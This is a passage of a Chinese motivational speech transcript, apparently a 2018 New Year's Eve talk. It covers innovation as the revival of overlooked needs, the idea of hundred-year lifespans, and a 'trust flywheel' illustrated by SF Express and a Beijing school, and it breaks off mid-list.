+这段话描述了很多人对科技创新的心态。这就是非共识的宿命，*任何创新在它诞生的那一刻，先会被当作“异端邪说”，然后成为“伟大革命”，最后还原为“稀松平常”。* + +这是一个神奇的循环，不走完这个循环，就不是真正的创新。 + +我们这一代人就亲身经历了很多这样的过程。比如在我年轻的时候，百货商场就是“本该如此”，超市就是“伟大革命”，淘宝就是“异端邪说”。到了我女儿出生的时候，超市变成了“本该如此”，淘宝变成了“伟大革命”，今年拼多多之类的，就成了“异端邪说”。 + +但是请注意，这并不是在说你当；了“异端邪说”就了不起。就拿拼多多来说，它必须像淘宝一样走完从叛逆到回归、从被非议到被认可的过程，走完之后，这才叫“非共识”。 + +![](/uploads/2019/01/02-12.jpg) + +## 3 + +下一个问题来了：*非共识怎么达成、怎么找到呢？* + +梁宁说了一句让我琢磨了半天的话：*非共识从来不反对什么，它只是把被忽略的东西呈现出来而已。* + +梁宁这句话不简单，给了我们一个重要的路标：非共识不是什么天外飞仙，它本来就在，我们只是把它重新唤醒。 + +这话听着还有点费解。我们举个例子，还记得网上有个段子：“今天晚饭挺丰盛，有红烧牛肉、香菇炖鸡、葱烧排骨。你说我泡哪包？” + +这个段子，确实说出了我们这一代人对方便面的怨念。所有方便面包装袋上都印着大鱼、大肉、大虾，但是下面有一行小字：“图片仅供参考，请以实物为准。”这不就是“图骗”吗？这不就是货不对板吗？这不就是名不副实吗？ + +但是时间一长呢，之后我们就认了。我们也知道花那点钱买的方便面不可能有大鱼大肉。一方面我们觉得方便面还挺好吃的，另一方面我们都觉得方便面是个很羞涩的东西，替它的贫乏深感惭愧，对它的虚张声势充满了失望。 + +我们知道，方便面里是藏着这个小套路的。这个矛盾，在心里一搁这么多年，谁也没觉得这有啥不正常，谁也没觉得这个不正常要被还原——谁也没想着把我们对方便面的这份怨念给抚平了。 + +现在，真就有人把这种被我们忽略的东西唤醒了。 + +广州有一家餐厅叫“不方便面馆”。只卖煮方便面，每碗面的售价要28元。为啥这么贵呢？它把方便面包装上印的龙虾、牛肉、海鲜都加回去了，和方便面一块煮。 + +对不少餐馆来说很疑惑，煮方便面能叫餐馆吗？技术含量太低了，这就是对餐馆尊严的冒犯。但是，本质上，它何尝想叛逆餐馆，它不过就是把在方便面世界里扭曲的东西在现实世界还原，只不过是把已存在、被忽略的东西呈现出来了而已。 + +再举一个例子，还是餐馆。普遍的共识是，餐馆是吃饭的地方，也是社交的地方。但是有一个东西就被忽略了：我们每个人是不是偶尔会有这样的时刻，想一个人安安静静、体体面面地吃顿饭。我不想在大庭广众之下吃饭，我不想跟别人说话，连服务员都不想见。但在过去的餐饮业，这种需求谁在意啊？这是你个人的怪癖，被忽略了。现在，这种被忽略的需求就有人把它唤醒了。 + +一种“一人食餐厅”出现了，上海和深圳都有。你去那里吃饭，进门点餐用手机，出门结账用手机，你坐在一个三面封闭的小格子里，上菜的时候，有人打开活动隔板，迅速把菜推到你面前，你连服务员都看不见。这种餐厅现在挺受欢迎。但它不是对原来餐馆的冒犯，也不是什么奇思妙想，它只是把人心底里的某种愿望呈现了出来。其实它一直就在。 + +这不是什么餐厅故意作怪，搞什么奇技淫巧。现在满足这种需求的商业模式到处都是。租房有一人租，旅行有一人团，便利店里开始卖两片装的面包。2018年天猫“双十一”显示，迷你微波炉销量增长980%，迷你洗衣机销量增长630%，一人吃的火锅销量增长210% ……这背后都是同一类非共识：一个人也想好好生活。 + +刚才我们举的例子，你发现什么没有？看起来是奇思妙想，但它们背后都是一个一直都存在、但是一直被忽略的潜在需求。看起来不是共识，但只要你回到人心深处和历史深处，它们是什么新东西？*它们一直都在，明明白白。非共识，来源于更深处的共识。* + +![](/uploads/2019/01/02-13.jpg) + +所以，很多人看到创新者都会问：你干的是什么事，你疯了吗？创新者心里其实在说：你瞎了吗？ + +## 4 + +人类的很多古老共识，并没有沉底，只是在潜水，它们还会回到水面。 + +*世界上有很多创新，不是往前，不是走向从来没人去过的陌生地带，而恰恰是往回走。* + +比如说，哈根达斯在中国市场推出冰淇淋月饼在当年是一个创新，但是这个创新的原点是月饼。仿照天上的月亮做个小吃，在1000多年前的唐朝、开始过中秋节的时候就定下来了。央视在35年前办春晚是一个创新，但是这个创新的原点在上古时代有“除夕”这个概念的时候就定下来了。 + +1931年，可口可乐用自己的主题色，把圣诞老人的衣服从绿色变成了红色，但是这个创新的原点在欧洲中世纪出现圣诞老人传说的时候，就定下来了。 + +2011年，微信出现，为什么微信的开屏图永远是这个样子，从来不换？对啊，微信是一个10亿用户量级的产品，它不能搞怪，搞什么奇思妙想，它的开机画面必须指向所有人都认同的故乡。请问，所有人都认同的故乡，除了地球，还有什么别的选择吗？请问这张图片的样子是什么时候定下来的？至少40亿年前。 + +说到这里，对于非共识的理解，我们又深化了一层，用华杉和华楠两位老师发明的说法：*达成非共识的过程，是一个“回到母体，强化母体”的过程。* + +简单地说，所谓的创新，就是要回到一个古老的事物，但是用全新的手段把它再做一遍。所谓的非共识，就是你初看不认识，但是后来你知道，原来是老相识。 + +这听起来还是有点玄乎，我们来举个2018年很多人都有印象的例子。11月3号那天傍晚，要么是你自己，要么是你身边的年轻人，为一件事特别激动。什么事呢？iG夺冠了。 + +这事简单说就是，iG是一个电子竞技战队，相当于足球俱乐部。而且是中国的战队，参加了一个叫“2018英雄联盟全球总决赛”的比赛，拿了冠军。就这么个事。 + +年纪大一点的人、尤其是不玩游戏的人可能会以为，这不过就是小孩玩游戏赢了而已，咋就能高兴成这样？咋就还有人能激动到落泪呢？ + +还有人稍微理性一点，会做产业分析，说电子竞技是个新事，很新、很大，一年900个亿，相当于一个半电影业。 + +年轻人自己为iG夺冠欢呼过、落泪过，会觉得这是一个新时代的到来。老东西退出舞台了，一代新人和新东西，登堂入室了。 + +你看，不管高不高兴，所有人都会把这件事理解为新的。 + +如果站在人类文明的角度来看，你会发现，把iG夺冠、电子竞技、中国战队赢了，看成新东西，可能恰恰是把它看小了。 + +有三件事，人类自古以来，就会为它激动，为它落泪欢呼，一点就着。那就是：*庆典、征服和竞技*。这是经典的传播学理论。 + +我们就拿竞技这件事来说，从古至今一脉相承：从我们的老祖先在草原上追逐猎物开始，是竞技吧？到古希腊人的奥林匹克运动会，是竞技吧？再到现在的各种排行榜、选秀PK、手机性能跑分儿，都是竞技吧？本质上这些事，都来自于我们人类同一种精神需求——得比划比划，分出个高下。这是同一件事，只是在不同时代的不同表现方式而已。 + +今天年轻人为iG夺冠流泪欢呼，我这个岁数确实体会不了。但是一切回到我的少年时代，我会为同样的事情欢呼，我同样理解他们的心情。少年时代我为中国女排五连冠欢呼、为聂卫平赢了中日围棋擂台赛欢呼，这是一个事。 + +*古老的母体，在不同时代化身为不同的样子。我们每一个人要做的是，不断回到它、不断把这个时代最好最新的东西献给它、强化它。* + +量子体育的创始人，也是国内主要的电竞比赛组织者应书岭就跟我感慨说：根据母体这个说法，电竞不是新怪物。“竞”就是它所回到的那个母体，人类一以贯之，“电”就是这个时代对它的强化，是我这个时代的人能为母体做的贡献。 + +回到刚才提出的那个问题：我能感知“非共识”吗？这个问题的本质是，我们能创新吗？ + +现在我们可以回答了：能，只要你有本事用最新的方法把那些古老的事情再做一遍。其实创新一直都存在一个稳定的路径，我在法学家刘晗老师的著作里就读到了这个路径：*“若不进入传统，则无法添加新物。”* + + +# 第五部分：我的时间够用吗？ + +## 1 + +今天我的核心任务是希望你记住这句话：决定我们这一代人个体命运的，除了众所周知的大趋势，更是那种需要我们每一个人自己去主动发现的小趋势。 + +刚才我们已经问了自己两个问题，下面我们要发出的是扎心第三问：*我的时间够用吗？* + +很多人觉得时间不够用。因为我们处在一个时间无限碎片化、空间无限被分割的时代。有人用“时空内爆”这个词来描述这个感受。 + +小说变成了段子，专辑变成了单曲，大片变成了短视频，站台上的别离变成了微信上的常联系。可不就是碎片了吗？ + +今年，著名出版人方希老师说了一个词——*“摸机率”*，简直就是时代符号。 + +什么意思呢？这是一个衡量会议质量的指标。一个小时的会议，你会忍不住摸几次手机？次数越多，会议质量越差。过去，这个指标是用上厕所的次数来衡量。所以，将来我们夸一个会议开得好，就不再是“全程无尿点”，而是“全程不摸机”。 + +所以，这个时代很多人感慨，我们的活法，从岁月静好变成了岁月惊惶。 + +扑面而来的信息，多到了我们受不了，杂到了我们接不住。我们感觉时间不够用，于是就有了一个词，叫*“信息过载”*。 + +听起来很有道理，这个世界不正在变得快速、浅薄、嘈杂、凌乱吗？但是，这个问题不能深想，深想就会发现，所谓的信息过载立不住。信息过载是我们这个时代的事吗？就说中国历史上，第一次喊出来“信息太多了，信息过载了，受不了了”这种痛苦的人是谁？庄子。战国时的人。那个时候，连纸都没有，能有多少书？他就开始叫苦了：“吾生也有涯，而知也无涯。以有涯随无涯，殆已。”意思就是，知识多，人生短，追着学，就得挂。 + +信息过载哪是我们这代人遇到的问题，有信息、有知识的时候这个问题就已经在了，我们每一代人都这样喊。习惯了就好了。 + +万维钢老师有一个判断：*所谓信息过载，原因只有一个，你对环境的熟悉程度太低。*甭管什么时代，只要你到陌生的地方，就会觉得眼花缭乱、信息过载。你到一个陌生的城市是这样，你去一个新开的百货商场是这样，刘姥姥进大观园也是这样。 + +而在熟悉的地方，你只会觉得新东西太少。你要是不信，我们做一个思想实验。 + +咱们每个人都有自己熟悉的行业，回想下，2018年一整年，就你所在的行业，你看到过几篇让你觉得真棒、真有洞察的好文章？你会发现，没有几篇，至少没多到你看不过来的程度。哪儿有什么“信息过载”可言呢？ + +再看视频网站，那么多的内容，再过十辈子也看不完。但是当你打开视频网站的时候，你经常会觉得没东西看。 + +那怎么能叫信息过载呢？在熟悉的地方，不会有信息过载。 + +## 2 + +关于时间，对我们这代人确实是个非常严重的问题。但问题不是不够用，而是太长了。我们都还没有准备好怎么用这个太过漫长的时间。 + +此话怎讲？前不久，生命科学家王立铭老师告诉我这么几个事，全都是在2018年发生的—— + ++ 九价HPV疫苗在国内上市，宫颈癌这种癌症，居然可以用疫苗来预防； ++ 进口抗癌药物关税统一下降为0，中国人买抗癌药更便宜； ++ 两位科学家因为他们在癌症免疫疗法方面的贡献，获得了今年的诺贝尔奖； ++ 从2011年起，每年至少有10种癌症新药上市，迄今已经有超过150种癌症药物在临床应用。 + +把王立铭告诉我的这些事实，拼起来说明了什么呢？说明众病之王癌症，这个人类寿命最凶残的敌人，长期来看，它将不再是寿命的终结者，它将渐渐变成一种可管理的慢性病。 + +稍微拉开一点视野，你会发现过去几百年这个进程一直在推进。战争、饥荒、瘟疫，甚至包括凶恶的癌症，这些威胁人类寿命的因素，一个接一个，逐渐落入人类的掌控之中。 + +王立铭所说的关于癌症的这些信息，在我们这些做事的人听起来，可就不仅仅是一个医疗信息那么简单，也不是只是一个科学进展，而是一个小趋势给我们发射的清晰信号。更不必说在癌症治疗技术进步的时候，其他医疗技术、营养、公共卫生、食品工业等行业都在大踏步进步。 + +那结论就来了，听着有点匪夷所思：*我们这一代人，大概率上，人人都有机会活过100岁。*这不是我的结论，几乎是医学界的共识，具体的论证我就不多举了。有一本书*《百岁人生》*讨论的就是这个问题，得到App里有电子书，也有听书版，推荐大家去了解一下。 + +如果回到刚开始问的那个问题：我的时间够用吗？回答是：太够了。 + +活得长，有充分的时间，这是一个好消息。但是它会变成了我们这代人的一个大问题，为啥？*因为我们每一个人、我们整个社会都没有为这个好消息、为这么长的寿命做好准备。* + +比如我自己，按原定计划，17年后，2035年的1月1日凌晨，我20年的跨年演讲就结束了，那一天我刚61岁，这是一个标准的退休年龄，我该去安度晚年了。但你想想，60岁就退休，这是谁定的？这只是我们过去的一个习惯，是在原来对寿命预期的基础上定下来的。如果我能活到100岁，或者120岁呢？那61岁我才刚刚人到中年，后面还有大几十年呢，我怎么可能退休呢？那时我应该说，来呀，干活呀，反正有大把时光。 + +所以你看，这是我们在百岁人生的框架下面对自己的一个极大挑战。做事的人，是不肯把这么长的时间用来虚度的。 + +*可我还能干啥呢？*如果我此前没有为此做好准备，我多少都会有这样的疑惑。这是我面临的第一个挑战。 + +同时，*第二个问题出现了：我怎么和我的孩子相处？* + +活得长，影响的不仅是我们自己。你想过没有，我们和我们孩子之间的关系，会因此变得不一样。 + +比如说一对母子，母亲92岁，儿子70岁。当母亲真活到120岁的时候，儿子都98岁了。从年龄上来看，这母子两代基本上就算一代人了。但是他们真实的关系，他们的社会关系，并不是一代人。那你说这个亲子关系，该怎么处理呢？ + +按照过去的习惯，老人家、上一代总想着把自己这辈子最珍贵的东西，甭管是金钱、宝贝，还是经验、观念都攒着，传给下一代。人类祖祖辈辈就是这么过来的。你还别小看这件事，代际传承的秩序，是这个世界的基本的价值纽带。但是，当人人都有百岁人生的时候，这个纽带就变松了。 + +你先是发现，那些东西传不下去了。我们想想一百年前的大户人家，他会想着收藏一套名贵瓷器，打一套家具，虽然占地方，又不见得实用，但都可以世世代代往下传。但是，情况变化了。 + +你能想象一个场景吗？今天小两口结个婚，女孩会要奶奶的一套老家具吗？这种事在日本已经发生了。祖辈传下来的几十万套名贵瓷器，都堆在二手店里。在百岁人生这个坐标系下，代际传承的价值就这样尴尬地呆在半路，可能传不下去。 + +连宝贝、好东西都这样，年轻时候成功的经验和观念，也传不下去了。现在我们说，你要和你的孩子做朋友，这好像还是个比方，是一种理想。但在百岁人生的框架下，你如果不能和你的孩子、你的父母成为真正的朋友，你们怎么相处得下去？ + +我们每个人对自己的人生和后辈的幸福，总有一些计划。但是这些计划都建立在一个默认的基础上，就是这个时代的预期寿命。当预期寿命变化的时候，我们的计划有的时候就会变成变化。我想到了泰森的那句话：*“每个人都有一个计划，直到被一拳打到脸上。”* + +接下来，是*第三个挑战：婚姻可能也得重新定位了。* + +亲密关系对于我们的人生特别重要，但是我们一生当中能维持多长时间的亲密关系？我们过去那种对于长久婚姻的终极想象，其实是有顶的。结婚50年是“金婚”，60年叫“钻石婚”，再往上就没有定义了。因为人类过去绝大多数活不到那岁数，寿命限制了我们的想象力。 + +如果人人都能活到100岁呢？情况就变了。70年的婚姻，甚至存续更长时间的婚姻就会存在，婚姻的意义会发生变化吗？当然会。 + +举个大家都理解的场景：现在年轻人和父母之间，经常有关于结不结婚的矛盾，年轻人觉得父母在逼婚。但你还真以为重点是结婚不结婚吗？其实是婚姻在长寿命这个背景下的社会意义变了。 + +过去，婚姻是成年的第一件事，是人的成年礼。只有结了婚的人，才被认可为合格的社会细胞。而现在年轻人是怎么想的？婚姻，是把自己的人生整理好后才做的事。年轻人想，我人生道路还没定型呢，我自己还没想清楚呢，我爱什么样的人，跟什么样的人过一辈子还不知道呢，结啥婚？对，年轻人想的是：匈奴未灭，何以家为。 + +以前关于婚姻，我们美好的愿望是银婚、金婚、钻石婚。*从今往后，对婚姻最好的祝福有一个词——“顶石婚”。* + +啥叫“顶石”呢？就是修建建筑的时候，当其他都修好了，最后放上去的、在拱顶上的那块石头。它标志着这座建筑从此建成了，真正屹立在世间了。拱顶石是一座建筑的落成典礼，婚姻就像拱顶一样，它将是人生的落成典礼，所以“顶石婚”才是未来婚姻的最好祝福。如果你和你的父母为什么时候结婚达不成共识，你就可以告诉他们，不着急，你要一桩顶石婚。 + +说完结婚我们再来看，在百岁人生背景下的*第四个挑战：职业会发生什么变化？* + +现在年轻人毕业进入一个行业，每一个行业都是一座大山，我们是默认要在这座山上一直往上爬的，所以才有一句古训叫“男怕入错行，女怕嫁错郎”，也因此才有那么多人那么在意第一份工作。因为不能错，错了，一辈子就完了。很多人在职场上那么谨小慎微，那么恐惧，就是因为这个，即使自己非常痛苦，也没有勇气修正重来。 + +但是，如果把这个困境放在120年的生命周期里，用新的坐标再看一次呢？情况完全不一样。在这个坐标下你会发现，过去有些想法是可笑的、荒谬的。 + +今年，有一个收费站的员工出了名。因为收费站裁员了，她非常悲愤地说：“我都36了。除了收费，啥也不会。到这个岁数，学东西都学不了，也学不会了。我这下半辈子可怎么办呢？”请注意，她觉得自己啥也学不会了，36岁。 + +而一位100岁的老奶奶说：“我特别后悔60岁的时候没有开始练小提琴，如果当时练了的话，我现在已经是一个有40年经验的小提琴手了。” + +你看，多么刺目的对比：一个36岁的人说自己来不及了，一个100岁的人后悔自己没有早点儿开始另一项人生任务。 + +这不是有出息没出息的区别，这是两种寿命坐标系下，对境遇的不同感慨。 + +再给大家介绍一位老人家，她叫姜淑梅。60岁的时候，她开始认字。识字以后，她看了莫言的几部小说，看完就不服了。她说，都是山东老乡，这样的小说我也能写。她女儿就说：“那你就写吧。”于是，她就真的在75岁开始写作了。今年，她81岁，已经出版了4部小说，引起了文学界的震动，还拿了很多奖。 + +我这不是在跟你讲励志故事，这在未来将是人生常态。60岁，上个大学；70岁，出来创业；80岁，新学一门手艺，都不再稀奇。这是我们这一代人一定会经历的过程。不然等到100岁再后悔吗?何苦来哉？ + +我特别希望刚才这段，你能和你的父母一起看。如果没看到，没关系，跨年演讲的视频优酷上一直会有，有机会建议给父母看一看。如果他们很固执，不愿意看、听不进去，你至少一定要把这句话告诉他们：*“种一棵树最好的时间是十年前，其次就是现在。”*来得及的呀，一切都来得及的呀！ + +我们继续来看百岁人生给我们带来的*第五个挑战：如何面对挫折？* + +我们来简单描述一下一个人的现状：他创业办了一个公司，花了上百亿，全部赔光了，欠了好多债，有一千万个债主，还被法院下了限制令，连飞机都不能坐。你觉得这人是不是完了啊？这辈子是不是就交代了？走投无路了？ + +2018年，我们都知道这个人是谁——ofo小黄车的创始人戴威。关于他的那些情况，我其实没有具体了解，也不认识戴威，我这里不是替他喊冤，只是觉得稍稍多一个维度看这个问题就好。 + +你知道戴威今年多大吗？1991年出生，27岁，多年轻。按照百岁人生这个坐标，他至少还有70多年，甚至更多的时间。70多年，后面还会发生多少种可能？人生还有多少种变化？不管今天戴维负债多少，都不能说他这辈子完了。 + +在百岁人生的坐标系里面，一个年轻人如果遇到了挫折，可别只记得丘吉尔说的“永不放弃”，而应该记得丘吉尔的另一句话—— + +*“这不是结束，甚至不是结束的开始，只是开始的结束”。* + +刚才我们一口气说了五大挑战，百岁人生确实会给我们出很多难题。但是，最困扰我们的其实不是那么长的时光怎么办，而是在这么长的时光里，我们必须调整人生选择的标准。 + +## 3 + +在那么长的时光里，我们做选择的标准，也许就不是眼下的利弊了，而是要叠加进一个时间的因素。 + +这位大家都认识，曾经的央视主持人——张泉灵，她有一个著名的重新选择的故事。3年前，她选择从主持人转型做投资人，很成功。 + +今年2018年，我劝她再重新选择一回，能不能来我们的「少年得到」公司？ + +但是说实话，我是有一点小担心的，她的世界太丰富多彩了。她是一个太聪明的人了，摆在她面前的机会太多了。我担心万一把公司交给她，她不能全情投入怎么办？后来，一个朋友一句话就给我把这个心结解开了：“像张泉灵这样的聪明人会知道，她拥有的最珍贵的资产，就是社会信用。她只要对一件事做了公开的、长期的承诺，就一定会坚持做下去。所以，你尽管去劝她，劝到她答应为止。” + +告诉大家一个好消息，她答应了。张泉灵已经正式就任「少年得到」董事长，也正在为「少年得到」打造一个杀手级产品。不久之后，她会自己向全市场宣布。她宣布的那一刻，就是她向市场作出长期承诺的那一刻，上面绑定的是她个人的社会信用。 + +你看，她的这种行动方式和思考问题的方式，能给我们特别大的启发。就是当你做一个决定的时候，在百岁人生的坐标下，得分得清什么能穿越时间，什么会被时间过滤。*所有能穿越时间的东西，就该坚守，因为人生太长了。所有会被时间过滤的，该翻篇就翻篇，因为人生太长了。* + +还记得刚才我们问的那个问题吗？我时间够用吗？说到这儿，想必你已经知道答案了。 + +还记得我们定义的那个词“小趋势”吗？就是影响趋势的趋势，带来变化的变化。还有什么比人类从此以后活得那么长、拥有那么多时间更明显的小趋势吗？想抓住小趋势的人，请到这个新坐标里去找。 + +这其实不是什么深刻的洞察，这只是我们这一代人都要面临的事实。其实很多人已经在按照百岁人生的模式在行动了，只不过他们表现出来的、经常喊出来的是当下的情绪，但是在别人没看见的地方、默默发力的，全部是长期的安排。 + +请看证据，印象笔记的唐毅给我提供了一组对比—— + ++ 5月份，在朋友圈里最热闹的话题是菊姐，很闹腾吧？但是，大家默默收藏最多的一篇文章是《记住这1582个字，搞定思维导图》。 ++ 6月份，社交平台上最火的事是“转发这个杨超越”，很宿命吧？但是，在别人看不见的时候，大家都去收藏的一篇文章是《如何独立思考？这里有一份全指南》。 ++ 9月份，娱乐圈发生了很多大事，很碎片吧？但其实，被收藏最多的那篇文章是《如何真正把你的知识体系建立起来？3000字就给你说清楚》。 ++ 10月份，你的印象可能是大家都在掬一把热泪、缅怀金庸，很悲情吧？但此时，在收藏夹里排名第一的是《人生最重要的事：建立自己的商业模式》。 + +不用再多说了，已经铁证如山。看到这个对比，你想到的是啥？对，就是学校里那个最讨厌的学霸，天天考100分，却总说自己不学习。你要知道，这种人在你身边可到处都是。其他人我不知道，但看我们跨年演讲的人基本都是。所以，这个时代不要在朋友圈里观天下，找机会翻翻他们的收藏夹。 + +印象笔记的唐毅说了一句话，揭穿了我们这代人，我觉得是我今年看到很扎心的一句话：*“你在朋友圈里又佛又丧，你在收藏夹里偷偷地积极向上。”* + + +# 第六部分：我的力量从哪里来？ + +## 1 + +刚才我们已经问了三个问题：我们看到了事实吗？我们能感知非共识吗？我们的时间够用吗？接下来，我想提出第四个问题：*想抓住小趋势，我们的力量从哪里来？*甭管抓住多少小趋势，我们总得有力量去实现它。 + +过去的200多年，我们的力量从哪里来？答案是明摆着的：靠工具，靠机器，今天靠人工智能。还有什么能比人工智能更有力量？ + +不瞒你说，我现在打开外卖平台点餐，它给我推荐的菜，我都不好意思不点。我总担心如果我不想吃，那是不是我错了？那可是人工智能结合了几亿人的数据推给我的，我是不是就该吃这个啊？ + +人工智能这么厉害，就反衬得我们人类相当无能。人类是被人工智能按在地上摩擦，充满了无力感。 + +但问题来了，要想做成点儿事，除了依赖机器、人工智能，我就没有别的力量来源了吗？如果答案是这样，那可真够让人绝望的。人工智能背后也是人啊，如果这个世界只剩人工智能有力量，那就真的意味着这个世上只有少数的赢家有机会了。 + +2018年，我们还是隐隐约约看到了另外一些现象，比如拼多多。 + +2018年7月26日，拼多多上市的那一天，很多人有点儿懵。这么大个家伙，做电商的，有3亿用户，上市了哎。可我怎么就没啥感觉呢？ + +没感觉那就得找解释。它是不是在数据造假？是不是卖假冒伪劣？是不是客户太低端？ + +我并不知道这些问题的答案，但是凭常识就能判断，如果拼多多是靠这些手段崛起的，那轮不到它。拼多多能够长成这么一个庞然大物，而且还在主流公众的视野之外，它一定是被一个我们忽略的东西驱动着。 + +这个东西是什么呢？黄峥，也就是拼多多的创始人，他自己是这么说的：*“拼多多是人的逻辑。”* + +什么意思呢？所谓人的逻辑就是，李大妈看见一个东西很喜欢，她就想，赵大妈跟我情况差不多，肯定也需要，我俩一起买还便宜5块钱，所以就说服赵大妈跟自己拼起来。赵大妈也是这么说服张大妈的，就这样人越滚越多。这就是拼多多最底层的商业逻辑。 + +你会说，这一点不神奇啊？那我们回到李大妈说服赵大妈的那个时刻，她凭什么能说服赵大妈呢？看起来凭的是便宜几块钱，但实际上凭的是两家当邻居已经两代了，孙子在一起上幼儿园，俩人一起跳广场舞，还一起旅过游、买过菜，上次李大妈推荐的纱巾也不错…… + +赵大妈对于李大妈的信任，是说不清楚的，是数据暂时还计算不了的，但是李大妈说什么，赵大妈都信，而且直接信。*这种信任是什么？是一种人对人非常直接的感知和判断。这个感知和判断，胜过千万条数据。* + +慢着，我们好像抓到了一个新东西，我们在这里停一下，不要让它跑掉。怎么好像我们身上还有一样东西很厉害？对，就是我们对另外一个人的感知和判断能力。这个东西好厉害，厉害到可以驱动一个庞大的、现象级的商业公司。 + +这个东西很新吗？一点儿都不新。几万年前我愿意跟你一起出去打猎，几千年前我愿意跟你一起做买卖，几百年前我愿意跟你一起冲锋陷阵，靠的都是这个东西——熟人之间的感知和判断。这个东西到现在，人工智能还做不到。 + +听起来很原始吧？但真的非常好用。 + +我举个例子：我平常工作有一个典型困境，我的《罗辑思维》节目，到今天为止上线了656期。那我怎么知道这个节目做得好不好呢？总不能看点击量吧，它会误导我啊。所以后来我们想出一个办法，我和我的同事说，去盯住6年前最早的那批节目，看看它们的使用数据是不是还在增长。好像很愚蠢吧？哪有一个产品用六年前的老数据来衡量今天的质量呢？ + +但是如果你心里有一个用户的话，你会发现这是一个非常好的指标。一个用户偶然听到了我的内容，如果他愿意顺藤摸瓜，去找我更早的、更多的节目去听，这说明什么？说明他不是被标题党、被时效性这些节目质量之外的因素吸引，他一定是真正喜欢我的节目。 + +你看，一个真实的人的真实反应，恰恰是我们最值得信赖的指标。 + +这是2018年，我摸索出来的方法，我把它称之为*“用人的体验丈量世界”*。 + +你看，我们一方面相信，人工智能会是无比聪明和强大的工具。但是另一方面，别忘了我们自己身上藏着的感知能力，那份良知良能是大自然几十亿年进化出来的极其灵敏的工具。这玩意好用得不得了，它一直都在。 + +## 2 + +这个工具只能感知这个世界吗？不是。它更大的妙用是，人和人的感知一旦叠加，会形成一股漩涡般强大的力量，不断地卷入更多的人、更多的外部资源，推动一个东西飞速旋转，我称它为*“信用飞轮”*。 + +它能创造有别于机器、工具、人工智能这些力量之外的另外一种力量，今天的很多好企业都是被这种力量驱动着的，但是这种力量和它背后的逻辑却经常被忽视。 + +举个例子：顺丰速运，很多人都用过。2018年它做了一件事，花了1个亿为员工定制耐克工作服。很多人感慨“顺丰对员工真好啊”，你可能还会联想起另外一件事：两年前，一位顺丰小哥挨打，顺丰老板王卫为他出头。 + +这两件事放在一起，不知道你的解读是什么？有人会说这是顺丰企业文化建设搞得好，也有人说这是顺丰的公关形象搞得好，还有人说这是王卫这个老板仗义。 + +但事实上，不这么简单。在我的理解中，这是顺丰在推动那个信用飞轮，让自己成长的过程。我们来看看这个信用飞轮是怎么转起来的—— + +一家快递公司想经营得好，重点在哪里？是数据，是算法，是飞机，是车队，是公关品牌吗？好像都是。都要经营好，又好像都没到核心。一家快递公司的核心是什么？ + +我们都有过收发快递的经验，当一个快递小哥站在我们面前，让我们看到的那个瞬间，我们就能判断他靠谱不靠谱。这既是业务实现的触点，也是风险产生的地方。只要用户调动起刚才我们说的那个强大的感知和判断工具，其实简单的看一眼就能知道，自己要在多大程度上相信他，肯把东西交给他。 + +对于顺丰来说，几十万人每年要处理几十亿个包裹，也就是说这样面对面的瞬间，至少几十亿次。如果这些点都藏了风险，那风险数量会多到无法想象。这时候靠数据有什么用呢？人工智能对这种事儿，完全没有能力发挥作用。这风险怎么控制呢？ + +如果我是顺丰的老板王卫，我最好的方法就是：专注地对我员工好，因为这是我能做的——推动信用飞轮转动第一下。我只要用行动，真的让我的同事，让快递小哥觉得在这个公司工作有尊严、有体面和有安全，这飞轮就已经推动起来了，剩下的就不光是我的事了。 + +然后，我的员工，快递小哥他们就会接力推动第二下。什么时候推动？就是当他们站到用户面前的时候，他们会让用户也感受到尊严、体面和安全感。 + +然后，继续往前传递，用户会帮助顺丰的信用飞轮推动第三下。这个时候，就不光是顺丰人的事了。你看，平时有人寄重要物品的时候，会跟对方说：“这个件，我发顺丰。”就这样，这个信用飞轮一直在运转。人对人的判断，人对人的信用会长距离传递，卷入越来越多的陌生人帮他推动。 + +今天我为什么也要帮顺丰推动这个信用飞轮呢？我没有为王卫发声，我不认识王卫是谁，但是我认识一个人，对我来说他就代表顺丰，我跟他有交情。就是这个小哥，顺丰速运北京朝阳区金港国际城分部现代城点部郎园区快递员——杨勇。 + +杨勇来北京五年了，差不多就是我们公司创业的这几年。 + +最早认识杨勇，是他刚好负责我们办公室的快递业务。快递员取件、送件，本职工作。但是，杨勇很快发现我们公司刚创业、人少，有时忙不过来。他就开始帮我们打包、封装，甚至还嘱咐我们“等我下班来给你们帮忙”。这几年我们公司有的人换了，新同事不会干，他还负责培训我们新同事干这个活。这哪还是业务啊，这是交情。 + +所以，今年我们公司搬家，他已经不管我们这片了，但是到了跨年演讲，需要给各位寄票这么重要的时候，我们还是打电话问他：要是不违反你们公司的规定，你能不能帮我们把这事干了？我们这笔业务，还是得你接。这哪是业务，这还是交情。 + +今天现场，你们7884个人，诸位手里的每一张票，都是那五天晚上杨勇坐在我办公室门口，一张张亲手打单子、亲手封装、亲手寄给你们的。 + +杨勇这位小伙子，我是亲眼看见他从一个青涩的北漂，几年时间，跟我们公司的创业完全同步，有了体面的收入，找到了女朋友。他2016年结了婚，给我们发喜糖；2017年生了娃，给我们看照片。就这样，杨勇一步一步在北京扎下根来。 + +就是从他身上，我觉得顺丰是个好公司，就像我们从一个个具体的服务员身上，知道海底捞是个好餐馆。你看，信用飞轮让顺丰有了力量，也让杨勇有了力量。 + +如果你觉得刚才这个例子是商业的，多少有点涉及利益，我给你讲另外一个故事。你再看看信用飞轮是怎么转起来的。 + +所有的学校，都希望搞好校友关系，如果你是一个学校的校长，你会怎么做呢？ + +年年办校庆请校友回来？把杰出校友的照片贴得到处都是？开学典礼请知名校友讲话？这些办法都挺好，有一部分校友会满意，但是有个潜在的问题，因为它对这个学校和校友之间实质性的关系，其实未必是好事。大家都是校友，都要刷个存在感，但是杰出校友就几位，他们上了演讲台，就得得罪下面几十排。这反而是对信用关系的破坏，阻碍了那个信用飞轮转起来。 + +有一所中学，叫北京十一学校。校长李希贵，他的做法很有意思。 + +十一学校有一个非常漂亮的阳光大厅，叫“缘宫”，这是学校的公共空间。李校长用这个空间干嘛呢？只要你是十一学校的毕业生，提前预约就可以终身免费使用这个空间举办活动。可以是你公司的招待酒会，可以是你个人的婚礼，可以是你孩子的摄影展…… + +我们来看看，这个信用飞轮是怎么样通过“缘宫“这一个措施，被推动起来的： + +1. 校友一辈子不管用不用这个地方，他都知道他的母校欢迎他。 + +2. 在校学生虽然还没毕业，但他知道这个地方永远会是自己的母校。 + +3. 来办活动的校友，就不是用某个特定标准挑出来的了。每一个校友都有机会把自己各方面的成功，呈现给在校的师弟师妹。 + +4. 